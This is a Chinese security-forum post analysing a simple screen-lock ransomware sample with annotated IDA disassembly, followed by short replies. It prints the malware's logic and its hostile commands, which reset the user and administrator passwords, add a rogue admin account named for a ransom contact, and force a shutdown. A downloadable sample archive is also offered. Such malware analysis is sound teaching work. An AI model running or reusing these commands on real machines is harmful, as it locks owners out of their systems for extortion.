吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 15241|回复: 27
收起左侧

[PC样本分析] 一个简单“锁屏勒索木马”的分析

  [复制链接]
ican2015 发表于 2016-3-16 15:53
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
一个简单“锁屏勒索木马”的分析

样本是论坛里轩少的帖子里看到的,发现比较简单,适合小小白学习。样本简单,大神勿喷。。。

样本名称:华夏联盟.exe
MD5: 0B1972462EC0041BF9711561CA1A1B45
SHA1: 700B448E07738CB82937983CA86C61A82F4E060D
CRC32: 5BAD5D4C

木马的主要功能是,将系统当前账户和administrator账户加密,并创建“加QQ1072890578解锁”加密账户,所有账户的登录密码都是107289。
以下是木马主体的分析:
[Asm] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
; =============== S U B R O U T I N E =======================================
.data:00401100
.data:00401100 ; Attributes: bp-based frame
.data:00401100
.data:00401100                 public start
.data:00401100 start           proc near
.data:00401100
.data:00401100 var_1104        = byte ptr -1104h
.data:00401100 var_1103        = byte ptr -1103h
.data:00401100 var_D04         = byte ptr -0D04h
.data:00401100 var_D03         = byte ptr -0D03h
.data:00401100 var_904         = byte ptr -904h
.data:00401100 var_903         = byte ptr -903h
.data:00401100 CmdLine         = byte ptr -504h
.data:00401100 var_503         = byte ptr -503h
.data:00401100 Buffer          = byte ptr -104h
.data:00401100 var_103         = byte ptr -103h
.data:00401100 pcbBuffer       = dword ptr -4
.data:00401100
.data:00401100                 push    ebp
.data:00401101                 mov     ebp, esp
.data:00401103                 mov     eax, 1104h
.data:00401108                 call    __alloca_probe ; 堆栈空间分配函数
.data:0040110D                 and     [ebp+Buffer], 0
.data:00401114                 push    ebx
.data:00401115                 push    esi
.data:00401116                 push    edi
.data:00401117                 push    3Fh
.data:00401119                 xor     eax, eax
.data:0040111B                 pop     ecx
.data:0040111C                 lea     edi, [ebp+var_103]
.data:00401122                 rep stosd
.data:00401124                 stosw
.data:00401126                 stosb
.data:00401127                 lea     eax, [ebp+pcbBuffer]
.data:0040112A                 mov     [ebp+pcbBuffer], 100h
.data:00401131                 push    eax            ; pcbBuffer 传入的缓冲区宽度
.data:00401132                 lea     eax, [ebp+Buffer]
.data:00401138                 push    eax            ; lpBuffer 传入的缓冲区指针
.data:00401139                 call    GetUserNameA   ; 获取当前用户名
.data:0040113F                 and     [ebp+CmdLine], 0
.data:00401146                 mov     ecx, 0FFh
.data:0040114B                 xor     eax, eax
.data:0040114D                 lea     edi, [ebp+var_503]
.data:00401153                 rep stosd
.data:00401155                 stosw
.data:00401157                 mov     ebx, wsprintfA ; 将字符串或数值输入到缓冲区
.data:0040115D                 push    offset a107289 ; "107289"
.data:00401162                 stosb
.data:00401163                 lea     eax, [ebp+Buffer] ; 当前用户名
.data:00401169                 push    eax
.data:0040116A                 push    offset aNetUser ; "net user"
.data:0040116F                 lea     eax, [ebp+CmdLine]
.data:00401175                 push    offset aSSS    ; 输入格式'%s %s %s'
.data:0040117A                 push    eax            ; LPSTR 输入缓冲区
.data:0040117B                 call    ebx ; wsprintfA ; wsprintf($CmdLine,"%s %s %s","net user",当前用户名,"107289")
.data:0040117B                                        ; 字符串作用,为当前用户添加登录密码107289
.data:0040117D                 mov     esi, WinExec
.data:00401183                 add     esp, 14h
.data:00401186                 lea     eax, [ebp+CmdLine]
.data:0040118C                 push    0              ; uCmdShow 窗口显示方式,0代表隐藏且没有最小化图标的形式
.data:0040118E                 push    eax            ; lpCmdLine 指向要执行的命令行字符串
.data:0040118F                 call    esi ; WinExec   ; 执行"net user 当前用户名 107289"
.data:00401191                 and     [ebp+var_D04], 0
.data:00401198                 mov     ecx, 0FFh
.data:0040119D                 xor     eax, eax
.data:0040119F                 lea     edi, [ebp+var_D03]
.data:004011A5                 rep stosd
.data:004011A7                 stosw
.data:004011A9                 stosb
.data:004011AA                 push    offset a107289 ; "107289"
.data:004011AF                 push    offset aNetUserAdminis ; "net user administrator"
.data:004011B4                 lea     eax, [ebp+var_D04]
.data:004011BA                 push    offset aSS     ; "%s %s"
.data:004011BF                 push    eax            ; LPSTR
.data:004011C0                 call    ebx ; wsprintfA ; wsprintf($var_D04,"%s %s","net user administrator","107289")
.data:004011C0                                        ; 为administrator账户添加密码107289
.data:004011C2                 add     esp, 10h
.data:004011C5                 lea     eax, [ebp+var_D04]
.data:004011CB                 push    0              ; uCmdShow
.data:004011CD                 push    eax            ; lpCmdLine
.data:004011CE                 call    esi ; WinExec   ; 执行字符串"net user administrator 107289"
.data:004011D0                 and     [ebp+var_904], 0
.data:004011D7                 mov     edx, 0FFh
.data:004011DC                 mov     ecx, edx
.data:004011DE                 xor     eax, eax
.data:004011E0                 lea     edi, [ebp+var_903]
.data:004011E6                 and     [ebp+var_1104], 0
.data:004011ED                 rep stosd
.data:004011EF                 stosw
.data:004011F1                 stosb
.data:004011F2                 mov     ecx, edx
.data:004011F4                 xor     eax, eax
.data:004011F6                 lea     edi, [ebp+var_1103]
.data:004011FC                 push    offset dword_401080 ; "/add"
.data:00401201                 rep stosd
.data:00401203                 stosw
.data:00401205                 stosb
.data:00401206                 mov     edi, offset loc_401068
.data:0040120B                 push    offset a107289 ; "107289"
.data:00401210                 push    edi            ; "加QQ1072890578解锁"
.data:00401211                 push    offset aNetUser ; "net user"
.data:00401216                 push    offset aSSSS   ; "%s %s %s %s"
.data:0040121B                 lea     eax, [ebp+var_904]
.data:00401221                 push    eax            ; LPSTR
.data:00401222                 call    ebx ; wsprintfA ; wsprintf($var_904,"%s %s %s %s","net user","加QQ1072890578解锁","107289","/add")
.data:00401224                 push    offset dword_401080 ; "/add"
.data:00401229                 push    edi            ; 用户名
.data:0040122A                 push    offset aNetLocalgroupA ; "net localgroup administrators"
.data:0040122F                 lea     eax, [ebp+var_1104]
.data:00401235                 push    offset aSSS    ; "%s %s %s"
.data:0040123A                 push    eax            ; LPSTR
.data:0040123B                 call    ebx ; wsprintfA ; wsprintf($var_1104,"%s %s %s","net localgroup administrators","加QQ1072890578解锁","/add")
.data:0040123D                 add     esp, 2Ch
.data:00401240                 xor     ebx, ebx
.data:00401242                 lea     eax, [ebp+var_904]
.data:00401248                 push    ebx            ; uCmdShow
.data:00401249                 push    eax            ; lpCmdLine
.data:0040124A                 call    esi ; WinExec   ; 执行字符串"net user 加QQ1072890578解锁 107289 /add",创建一个带密码的用户
.data:0040124C                 mov     edi, Sleep
.data:00401252                 push    0BB8h          ; dwMilliseconds
.data:00401257                 call    edi ; Sleep
.data:00401259                 lea     eax, [ebp+var_1104]
.data:0040125F                 push    ebx            ; uCmdShow
.data:00401260                 push    eax            ; lpCmdLine
.data:00401261                 call    esi ; WinExec   ; 执行"net localgroup administrators 加QQ1072890578解锁 /add",将新创建的用户添加到管理员,获取管理员权限
.data:00401263                 push    1388h          ; dwMilliseconds
.data:00401268                 call    edi ; Sleep
.data:0040126A                 push    ebx            ; uCmdShow
.data:0040126B                 push    offset CmdLine ; "shutdown -s -t 0"
.data:00401270                 call    esi ; WinExec   ; 关机
.data:00401272                 push    ebx            ; uCmdShow
.data:00401273                 push    offset aLogoff ; "logoff"
.data:00401278                 call    esi ; WinExec   ; 注销
.data:0040127A                 pop     edi
.data:0040127B                 pop     esi
.data:0040127C                 xor     eax, eax
.data:0040127E                 pop     ebx
.data:0040127F                 leave
.data:00401280                 retn    10h
.data:00401280 start           endp

第一次在吾爱发帖,虽然样本很简单,还是有点激动,希望能跟大神们多学习。。。
样本密码52pojie


样本.rar

13.56 KB, 下载次数: 207, 下载积分: 吾爱币 -1 CB

样本和idb

点评

不错,IDA分析  发表于 2016-3-16 16:54

免费评分

参与人数 4热心值 +4 收起 理由
zcm2005 + 1 用心讨论,共获提升!
lh6633319 + 1 谢谢@Thanks!
狗蛋老汉 + 1 用心讨论,共获提升!
long000 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

siuhoapdou 发表于 2016-3-16 16:13
ican2015大大謝謝你的分享先~

看你一貼,獲益良多.先慢慢看你的貼消化一下先~~

正在學習中,努力中~~
Ambda 发表于 2016-3-16 15:57
yushai12 发表于 2016-3-16 16:00
hackzhaozhao 发表于 2016-3-16 16:01
可以去研究一下,谢谢楼主了
完美剿灭OVG 发表于 2016-3-16 16:04
用什么分析的?
白色梦香 发表于 2016-3-16 16:09
对于尚未入门的我来说,这是一个不错的引导~~!
lindian 发表于 2016-3-16 16:10
我来让你锁一锁
孤独飞天 发表于 2016-3-16 16:12
我受教了
 楼主| ican2015 发表于 2016-3-16 16:23

因为样本简单,所以只用了IDA
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-9 06:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表